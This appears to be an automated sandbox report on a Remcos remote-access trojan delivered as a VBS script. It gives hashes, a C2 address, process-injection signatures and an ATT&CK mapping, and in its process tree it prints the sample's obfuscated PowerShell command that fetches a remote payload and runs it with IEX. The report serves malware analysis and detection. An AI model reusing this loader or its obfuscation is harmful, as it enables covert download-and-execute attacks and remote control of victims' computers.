remcos | dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0

General

Target

Appraisa.vbs
Size

662B
MD5

2e95d045ff86903502b52f5fd0976aad
SHA1

c74e479ff249f1e8c248b8a67e318a61b1f1d5e4
SHA256

dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
SHA512

0427fa613d91d41c98dfb7d9a964c74857813959f427eb060a1a39c2cf289235aaa0aec6015cea8d7bd16da1e14bae3ba88c998780d33ea6faf9d0b8102264df

Score

10^/10

remcos rat

Malware Config

Extracted

Family

remcos

C2

194.5.97.183:8888

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

6 1220 powershell.exe
8 1220 powershell.exe
10 1220 powershell.exe
12 1220 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1060 set thread context of 816 1060 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1220 powershell.exe
1220 powershell.exe
1060 powershell.exe
1060 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1220 powershell.exe
Token: SeDebugPrivilege 1060 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

816 aspnet_compiler.exe

flow	pid	process
6	1220	powershell.exe
8	1220	powershell.exe
10	1220	powershell.exe
12	1220	powershell.exe

description	pid	process	target process
PID 1060 set thread context of 816	1060	powershell.exe	aspnet_compiler.exe

pid	process
1220	powershell.exe
1220	powershell.exe
1060	powershell.exe
1060	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe

pid	process
816	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1996 wrote to memory of 1220	1996	WScript.exe	powershell.exe
PID 1996 wrote to memory of 1220	1996	WScript.exe	powershell.exe
PID 1996 wrote to memory of 1220	1996	WScript.exe	powershell.exe
PID 1220 wrote to memory of 1060	1220	powershell.exe	powershell.exe
PID 1220 wrote to memory of 1060	1220	powershell.exe	powershell.exe
PID 1220 wrote to memory of 1060	1220	powershell.exe	powershell.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe
PID 1060 wrote to memory of 816	1060	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v0 ='N#t.@@#b'.Replace('#','e').Replace('@@','w');$v00 = '%li!!'.Replace('%','C').Replace('!!','ent');$V000 = 'D$$$$$$$$$$$n%%%%%%%%%%%%ng'.Replace('%%%%%%%%%%%%','loadStri').Replace('$$$$$$$$$$$','ow');$v1 = '$e^'.replace('$','I').replace('^','x');$v9999 = '(Ne`W&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&00(''https://ia601509.us.archive.org/35/items/all_20210420_20210420_1440/ALL.TXT'')'.Replace('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&','-O`BjEcT $v0$v00 ).$V0');$TC=I`E`X ($v9999 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:816

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
4ff6b3014913b3061196d6fb28246928

SHA1
720504ad8a352f0451e65e93782c5b13e703724e

SHA256
ed1689551a0c6f83161b7541e8026dee76f7efe3abe83f970f1bddcbad7a22f6

SHA512
b63183e88eddaa83caedde4f60619b74c50a7abd294d63347ff5052d35fb8320f66c607bf91c05766fd3aa0f9d00cac84e64a8d7e39ce88aab7720a224d27b5c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
10479ae2f624cc587efe1b5466dca98b

SHA1
c82509ea15f7cfbfc2a01e278567827f7d6baff3

SHA256
a9d4b00114fa4925fb755e98c6434a0d095c4aad2be3de20ded01834eedcd983

SHA512
4626e859f8704e73c988fc551c25bc628856297a2d19cf8393aa94e0f9e02c84a97abb907b2138d16ab8758b01ffbe80aefc065173ed3a068d5acb18cdb9e5b1

Download Submit
C:\Users\Public\ Microsoft.ps1
MD5
eda0264cc0baa7804ce2a32a99aa9b98

SHA1
274b4d04e802370cac624649ea30149dded4e053

SHA256
950cc79c3173d2a1ad76a7b8e64c9100ca929caf0201396758380ff2d712680f

SHA512
43f6dd07e297c157f54147aa34512b4812f2650f990865c81181e14d379bf12352fcc3c2d20fbfb535d8bf2a3b5ebc7ab6aa0cd47ab498f0d1f5818e41bf9a74

Download Submit
memory/816-87-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/816-86-0x00000000767B1000-0x00000000767B3000-memory.dmp

Filesize
8KB

Download
memory/816-85-0x000000000042EEEF-mapping.dmp

Download
memory/816-84-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1060-71-0x0000000000000000-mapping.dmp

Download
memory/1060-77-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

Filesize
8KB

Download
memory/1060-83-0x00000000027A0000-0x00000000027B8000-memory.dmp

Filesize
96KB

Download
memory/1060-78-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

Filesize
8KB

Download
memory/1220-67-0x000000001AC54000-0x000000001AC56000-memory.dmp

Filesize
8KB

Download
memory/1220-68-0x00000000022C0000-0x00000000022C1000-memory.dmp

Filesize
4KB

Download
memory/1220-69-0x000000001AB80000-0x000000001AB81000-memory.dmp

Filesize
4KB

Download
memory/1220-66-0x000000001AC50000-0x000000001AC52000-memory.dmp

Filesize
8KB

Download
memory/1220-70-0x000000001C8B0000-0x000000001C8B1000-memory.dmp

Filesize
4KB

Download
memory/1220-65-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/1220-64-0x000000001ACD0000-0x000000001ACD1000-memory.dmp

Filesize
4KB

Download
memory/1220-63-0x0000000002280000-0x0000000002281000-memory.dmp

Filesize
4KB

Download
memory/1220-61-0x0000000000000000-mapping.dmp

Download
memory/1996-60-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download

Analysis

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